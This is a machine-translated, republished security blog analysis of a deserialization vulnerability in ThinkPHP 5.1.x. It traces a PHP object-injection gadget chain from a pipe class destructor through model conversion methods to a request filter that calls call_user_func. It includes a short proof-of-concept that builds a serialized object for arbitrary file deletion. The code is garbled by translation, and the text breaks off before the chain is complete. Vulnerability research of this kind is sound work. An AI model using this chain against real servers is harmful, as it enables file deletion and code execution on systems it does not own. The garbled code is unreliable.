In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-19 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Internet Technology >
Share
Shulou(Shulou.com)06/03 Report--
Author: Ethan@ knows that Chuangyu 404 laboratory
Date: September 21, 2019
Preface
In July, ThinkPHP 5.1.x exposed a deserialization vulnerability. No deserialization vulnerabilities with ThinkPHP have been analyzed before. Today we will discuss the problem of deserialization of ThinkPHP!
The idea of exploiting vulnerabilities in Thinkphp 5.1.35php 7.0.12 built in Environment
When you first come into contact with deserialization vulnerabilities, you are more likely to encounter in magic methods, so the vulnerability is triggered by automatically calling magic methods. But if the vulnerability trigger code is not in the magic function, but in the normal method of a class. And magic functions call some functions through properties (objects), which happen to have functions with the same name (pop chain) in other classes. At this point, you can associate the properties of the class with the properties of the sensitive function by looking for the same function name.
Loophole analysis
First of all, the starting point of the vulnerability is _ _ destruct () of / thinkphp/library/think/process/pipes/Windows.php
Two functions are called in _ _ destruct (), and we follow up on the removeFiles () function.
Class Windows extends Pipes {private $files = [];.... Private function removeFiles () {foreach ($this- > files as $filename) {if (file_exists ($filename)) {@ unlink ($filename);}} $this- > files = [];}....}
$this- > files is used here, and the $files here is controllable. So there is a vulnerability of arbitrary file deletion.
POC can be constructed as follows:
Namespace think\ process\ pipes;class Pipes {} class Windows extends Pipes {private $files= []; public function _ _ construct () {$this- > files= ['path to delete file'];} echo base64_encode (serialize (new Windows ()
Arbitrary file deletion can be achieved with only one trigger point of the deserialization vulnerability.
File_exists is used in removeFiles () to process $filename. When we enter the file_exists function, we can see that $filename will be treated as a string.
While _ _ toString is triggered when an object is deserialized and used as a string, we trigger the _ _ toString method by passing in an object. We search the _ _ toString method globally.
We follow line 224 of the Conversion class of\ thinkphp\ library\ think\ model\ concern\ Conversion.php, where a toJson () method is called.
. Public function _ toString () {return $this- > toJson ();}.
Follow up the toJson () method
.... Public function toJson ($options = JSON_UNESCAPED_UNICODE) {return json_encode ($this- > toArray (), $options);}.
Continue to follow the toArray () method
Public function toArray () {$item = []; $visible = []; $hidden = [];. / / append attribute (retractor must be defined) if (! empty ($this- > append)) {foreach ($this- > append as $key = > $name) {if (is_array ($name)) {/ / append associated object attribute $relation = $this- > getRelation ($key) If (! $relation) {$relation = $this- > getAttr ($key); $relation- > visible ($name);}.
We need to find a point in the toArray () function that satisfies the $controllable variable-> method (parameter controllable). First, a getRelation method is called. Let's follow up on getRelation (), which is in the Attribute class
.... Public function getRelation ($name = null) {if (is_null ($name)) {return $this- > relation;} elseif (array_key_exists ($name, $this- > relation)) {return $this- > relation [$name];} return;}.
Since the if statement under getRelation () is if (! $relation), you can ignore it here and return empty. Then we call the getAttr method, and we follow up the getAttr method
Public function getAttr ($name, & $item = null) {try {$notFound = false; $value = $this- > getData ($name);} catch (InvalidArgumentException $e) {$notFound = true; $value = null;}.
Continue to follow up the getData method
Public function getData ($name = null) {if (is_null ($name)) {return $this- > data;} elseif (array_key_exists ($name, $this- > data)) {return $this- > data [$name];} elseif (array_key_exists ($name, $this- > relation) {return $this- > relation [$name];}
By looking at the getData function, we can see that the value of $relation is $this- > data [$name]. It is important to note that the class definition here uses Trait instead of class. Since PHP 5.4.0, PHP has implemented a method of code reuse called trait. Declare the Trait name to combine by using the use keyword in the class. Therefore, the class inheritance here uses the use keyword. Then we need to find a subclass that inherits both the Attribute and Conversion classes.
We can find such a class in\ thinkphp\ library\ think\ Model.php
Abstract class Model implements\ JsonSerializable,\ ArrayAccess {use model\ concern\ Attribute; use model\ concern\ RelationShip; use model\ concern\ ModelEvent; use model\ concern\ TimeSt use model\ concern\ Conversion;.
Let's sort out the variables we need to control at present.
$files in class Windows$append, in class Conversion$data, in class Attribute.
The utilization chain is as follows:
Code execution point analysis
We now lack a point for code execution, and we need no visible method in this class. And it's better to have a _ _ call method, because _ _ call generally has _ _ call_user_func and _ _ call_user_func_array,php code execution endpoints that are often chosen here. We have seen these two methods in Thinkphp's rce more than once. You can find a _ _ call function at / thinkphp/library/think/Request.php. _ _ call is called when calling a method that is inaccessible or does not exist.
. Public function _ call ($method, $args) {if (array_key_exists ($method, $this- > hook)) {array_unshift ($args, $this); return call_user_func_array ($this- > hook [$method], $args);} throw new Exception ('method not exists:'. Static::class. ->'. Method);}.
But here we can only control $args, so it's hard to deserialize here, but $hook is controllable here, so we can construct a hook array "visable" = > "method", but when array_unshift () inserts a new element into the array, the value of the new array will be inserted at the beginning of the array. In this case, we can't construct an available payload.
There is also a feature filter function in the Request class of Thinkphp, which is actually associated with multiple RCE in Thinkphp. We can try to override the filter method to execute the code.
The code is on line 1456.
.... Private function filterValue (& $value, $key, $filters) {$default = array_pop ($filters); foreach ($filters as $filter) {if (is_callable ($filter)) {/ / call function or method filter $value = call_user_func ($filter, $value);}.
But the $value here is out of control, so we need to find a point where we can control $value.
.... Public function input ($data = [], $name ='', $default = null, $filter ='') {if (false = = $name) {/ / get the original data return $data;}. / / parsing filter $filter = $this- > getFilter ($filter, $default); if (is_array ($data)) {array_walk_recursive ($data, [$this, 'filterValue'], $filter); if (version_compare (PHP_VERSION,' 7.1.0,'
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.